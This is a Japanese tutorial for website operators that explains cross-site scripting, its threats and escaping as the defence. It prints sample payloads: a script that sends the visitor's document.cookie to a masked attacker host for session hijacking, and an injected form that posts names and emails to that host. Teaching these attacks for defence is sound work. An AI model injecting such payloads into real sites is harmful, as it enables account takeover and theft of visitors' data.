Webサイトの運営者であれば、サイトに脆弱性がないかのチェックは必須です。
この脆弱性で、代表的なものの一つに「クロスサイトスクリプティングの脆弱性」があります。
クロスサイトスクリプティング(XSS)とは、Webサイトへの有名な攻撃(ハッキング)手法になり、簡単にいうと「他人のWebサイトへ、悪意のあるスクリプトを埋め込む」事です。
今回の記事では、この「クロスサイトスクリプティング(XSS)」の詳細な仕組みや、どのような驚異があるのか・・・また、対策方法についても解説していきます。
以下、目次になります。
- クロスサイトスクリプティング(XSS)とは
- クロスサイトスクリプティング(XSS)の脅威
- クロスサイトスクリプティング(XSS)の対策
クロスサイトスクリプティング(XSS)とは
クロスサイトスクリプティング(XSS)とは、上述している通り「他人のWebサイトへ、悪意のあるスクリプトを埋め込む」事ですが、どのようにして「悪意のあるスクリプト」を埋め込む事ができるのか・・・当章では解説していきます。
まず、「悪意のあるスクリプト」を埋め込むためには、Webサイト上に入力フォームがある必要があります。
わかりやすい例で言うと、「掲示板」があります。
「掲示板」とは、誰もが気軽に好きな事をページに書き込むことができますよね。
このように、ページに入力フォームがあることが、クロスサイトスクリプティング(XSS)を行う上での前提条件になります。
要は、この入力フォームに「悪意のあるスクリプト」を埋め込むわけですね。
ここでいう「スクリプト」とは、一般的に「javascript」を指します。
以下、「javascript」の例になります(下記は、「バカ」と表示するスクリプトになります)
alert(“バカ”);
</script>
このように、入力フォームに「javascript」を埋め込む事が、クロスサイトスクリプティング(XSS)の基本的な手法になります。
また、「javascript」に限らず、「HTMLタグ」を埋め込む事も悪意があれば、クロスサイトスクリプティング(XSS)と言えるでしょう。
以上が、クロスサイトスクリプティング(XSS)の仕組みになります。
次は、クロスサイトスクリプティング(XSS)によって、どのような脅威があるのかを解説していきます。
クロスサイトスクリプティング(XSS)の脅威
クロスサイトスクリプティング(XSS)による脅威は、様々なものがあるんですが、例(有名どころ)として下記二点を解説していきます。
- 訪問者のクッキー情報を抜き取るスクリプトを埋め込む事による「セッションハイジャック」
- 訪問者の個人情報の入力を促す入力フォーム(HTMLタグ)を埋め込むことによる、個人情報の不正搾取
上記二点について、順に解説していきます。
訪問者のクッキー(cookie)情報を抜き取るスクリプトを埋め込む事による「セッションハイジャック」
クッキー(cookie)とは、Webサイト側が、訪問者を識別するための仕組みになり、訪問者のアカウント情報や個人情報が設定されている場合があります。
わかりやすい例では、「ログインページ」があります。
例えば、「Gmail」のログインページ(下図)
こちらは、最初に「Gmail」を開く時は必ず表示されるページになりますが、一度ログインしてしまえば、再度「Gmail」を開く際に、ログインページをスキップして「Gmail」の管理画面が開きます。
これは、二度目以降のアクセスに「クッキー(cookie)」が使用され、Gmai側から「この訪問者はこの人だ!」と識別され、ログインページがスキップされるのです(ログイン情報を入力する必要なしと判断されるため)
なので、もしこの「クッキー(cookie)」情報を、第三者に抜き取られてしまったら、抜き取られた人のアカウントで不正にログインされてしまうのです。
これを、「セッションハイジャック」と呼びます。
以下、訪問者(被害者)の「クッキー(cookie)」情報を、攻撃者のサイトへ不正に送る「javascript」になります。
document.location=”http://●●●●●.com/script.cgi?cookie=”+document.cookie;
</script>
上記は、クッキー情報(document.cookie)を、攻撃者のサイト(http://●●●●●.com)の、クッキー情報を抜き取るプログラム(script.cgi)へ、送っています。
これにより、攻撃者は、他人のクッキー情報を不正に取得することができ、他人に偽って不正ログインすることができるようになります。
これが、もし会員制のECサイトであれば、被害はもっと甚大になります。
攻撃者は、被害者のCookie情報をもとに不正ログインし、個人情報(クレジットカード情報等も)を見ることも、被害者になりすまして買い物をすることもできるようになります。
以上、クロスサイトスクリプティング(XSS)の脅威「セッションハイジャック」についての解説でした。
訪問者の個人情報の入力を促す入力フォーム(HTMLタグ)を埋め込むことによる、個人情報の不正搾取
こちらは、下図のような入力フォームを埋め込み、個人情報を不正に搾取する手法になります。
以下、HTMLタグを用いた入力フォームのソースになります。
<form method=”post” action=”http://●●●●●.com/script.cgi”>
<p>氏名(漢字):<input type=”text” name=”name”></p>
<p>メール:<input type=”text” name=”email”></p>
<p><input type=”submit” value=”送信する”></p>
</form>
上記ソースを埋め込むことで、攻撃者のサイト(http://●●●●●.com)の個人情報を取得するプログラム(script.cgi)に、被害者の「名前」と「メールアドレス」を、不正に送る事ができます。
以上、クロスサイトスクリプティング(XSS)による個人情報の不正搾取の手法でした。
次は、これらの脅威から、サイトを守る対策について解説していきます。
クロスサイトスクリプティング(XSS)の対策
クロスサイトスクリプティング(XSS)は、「<」と「>」などの文字を、特殊文字(タグ)として認識するブラウザの仕様を利用した攻撃手法になります。
例えば、上述している「クロスサイトスクリプティング(XSS)の脅威」である「セッションハイジャック」
「セッションハイジャック」を実現する下記のソース
document.location=”http://●●●●●.com/script.cgi?cookie=”+document.cookie;
</script>
上記は、「<script type=”text/javascript” >」なので、ブラウザはスクリプトとして認識してしまいます。
ですが、「<」と「>」などの特殊文字を、削除(又は別の文字へ置換)すれば、「スクリプトではなく、ただの文字列」として、認識します。
なので、クロスサイトスクリプティング(XSS)の対策として有効なのは、「<」と「>」などの文字を、特殊文字(タグ)として認識させないようにする(エスケープする)ことです。
具体的な対策手順に関しては、こちらで解説されています(PHPでの対策)→【クロスサイトスクリプティング対策としてやるべき5つのこと】
まとめ
今回の記事では、「クロスサイトスクリプティング(XSS)」の仕組みと驚異。また、対策方法について解説してきました。
非常に有名な攻撃手法ですので、サイトの運営者であれば、必ず対策をとっておきましょう。
また、サイトを運営している場合「クロスサイトスクリプティング(XSS)」以外にも、様々な驚異から、サイトを守らなければなりません。
そこで、サイト運営者がやっておかなければならない「脅威対策」を、総合的にまとめている記事がありますので、ぜひ確認しておいてください→【ハッキング対策まとめ!自分のサイトを守るための9つの方法】